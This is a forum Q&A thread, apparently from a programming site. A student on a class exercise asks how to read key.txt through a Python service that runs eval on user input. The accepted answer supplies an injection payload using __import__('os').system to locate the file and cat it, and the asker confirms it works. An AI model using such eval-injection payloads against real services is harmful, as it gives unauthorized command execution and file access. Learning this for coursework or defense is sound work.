0

My class assignment is to read a file called key.txt on a server which is in the same directory of a python script it is running on port 2323. The code running in the script is as follows:

while 1: print  eval(raw_input("Enter   Math:"))

I'm connecting with PuTTY and every time I run any code, the connection instantly drops if the code I pass is invalid. It gives no explanation, but I assume the eval function couldnt parse my code.

Here are some of the things I've tried and their outputs:

  • Entering open('key.txt', 'r').read() (or any explicit code) killed the connection
  • Using chr(#) to pass in commands, ex. hello = chr(104)+chr(101)+chr(108)+chr(108)+chr(111). The server just spits back whatever I type
  • Using compile by entering compile('print "Hello!"', 'buttfile', 'exec'), with the output <code object <module> at 0x7f6270ac0db0, file "buttfile", line 1>

Those are the only two ways I can think of that allows me to pass in code. I wrote a small cpp program to convert whatever I type into the char combinations, as well as including newlines so I can enter multiline code with the chr() method.

So my question is how would I execute code to read a file through python's eval function?

4
  • Sorry, added question to body Commented Mar 26, 2015 at 18:23
  • Yes but the python code were using works on our systems but not theirs, through 2.7+ versions. I feel like I'm either missing something big or they messed up somehow. Commented Mar 26, 2015 at 18:29
  • Is it a linux system? Commented Mar 26, 2015 at 18:30
  • I can't tell because they do provide the web terminal when you go to the server IP. However, they did not give us any credentials to log in, and made a custom terminal splash screen so I don't know the OS Commented Mar 26, 2015 at 18:35

1 Answer 1

1

If you are connecting to a linux system you can do it in two commands:

__import__("os").system("locate key.txt")

This assumes that the locate db is up to date.

Then when you know the location just use:

__import__("os").system("cat /location/of/file/key.txt")

Which will output the key to the screen.

Sign up to request clarification or add additional context in comments.

1 Comment

Thank you thats perfect! It is a linux system indeed

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.